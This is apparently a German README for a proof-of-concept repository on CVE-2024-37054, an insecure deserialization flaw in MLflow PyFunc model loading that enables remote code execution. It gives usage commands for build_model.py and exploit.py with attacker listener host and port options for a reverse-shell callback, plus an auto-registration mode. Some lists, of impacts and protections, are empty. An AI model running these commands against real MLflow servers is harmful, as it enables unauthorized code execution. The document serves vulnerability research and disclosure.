
Proof-of-Concept- und Forschungs-Repository für CVE-2024-37054, eine unsichere Deserialisierungs-Schwachstelle beim Laden von MLflow-PyFunc-Modellen, die zu Remote-Code-Ausführung führen kann.
Dieses Repository dokumentiert die Forschung zu CVE-2024-37054, einem Problem der unsicheren Deserialisierung, das die Handhabung von MLflow PyFunc-Modellen betrifft.
In betroffenen MLflow-Versionen kann das Laden eines nicht vertrauenswürdigen PyFunc-Modells dazu führen, dass die Python-Deserialisierungslogik ein serialisiertes Objekt verarbeitet, das vom Angreifer kontrolliertes Verhalten enthält. Wenn ein nicht vertrauenswürdiges Artefakt geladen wird, kann Code mit den Berechtigungen des Benutzers oder Dienstes ausgeführt werden, der den Ladevorgang des Modells durchführt.
Zu den in öffentlichen Sicherheitshinweisen gemeldeten betroffenen Versionen gehören:
MLflow 0.9.0 bis 2.14.1
Das primäre Risiko besteht nicht einfach im „Hochladen eines Modells“. Die Gefahr tritt auf, wenn eine Anwendung, ein Analyst, ein Worker oder eine ML-Plattform ein nicht vertrauenswürdiges serialisiertes Modellartefakt lädt.
Mögliche Auswirkungen sind:
build_model.py
Erstellt ein kontrolliertes Testmodell-Artefakt zur Verwendung in einer privaten, autorisierten Laborumgebung.
exploit.py
Private Proof-of-Concept-Automatisierung, die nur zur Validierung des Schwachstellenpfads in einer autorisierten Trainingsumgebung verwendet wird. Dieses Repository enthält keine Live-Ziele, Anmeldeinformationen, Sitzungstokens, VPN-Konfigurationsdateien oder destruktive Payloads.
Führen Sie diesen Proof of Concept nur in einer autorisierten Laborumgebung aus.
Erstellen Sie das kontrollierte Modellartefakt:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
Wenn Sie noch keine authentifizierte Sitzung haben, verwenden Sie den Modus der automatischen Registrierung:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
Dieser Modus erstellt ein temporäres Laborkonto, authentifiziert sich bei der Anwendung und fährt mit dem Workflow zur Modellregistrierung und Validierung fort.
Wenn Sie bereits eine gültige autorisierte Sitzung haben, übergeben Sie diese direkt:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Ersetzen Sie:
<YOUR_IP> durch die IP-Adresse, die vom autorisierten Laborziel aus erreichbar ist.4444 durch den in Ihrem Labor verwendeten Listener-Port.<SESSION_TOKEN> durch Ihren aktiven autorisierten Sitzungswert.Veröffentlichen Sie niemals echte Sitzungstokens, Anmeldeinformationen, VPN-Dateien, Zieladressen oder Callback-Details.
Organisationen, die MLflow verwenden, sollten Modellartefakte als nicht vertrauenswürdige Eingaben behandeln, es sei denn, ihre Herkunft und Integrität wurden überprüft.
Empfohlene Schutzmaßnahmen:
Dieses Projekt ist ausschließlich für defensive Forschung, Bildung und autorisierte Sicherheitstests gedacht. Der Proof-of-Concept-Workflow wurde ausschließlich in einer kontrollierten Trainingsumgebung evaluiert. Testen Sie diese Schwachstelle nicht gegen Systeme, Konten, Dienste oder Netzwerke ohne ausdrückliche schriftliche Genehmigung.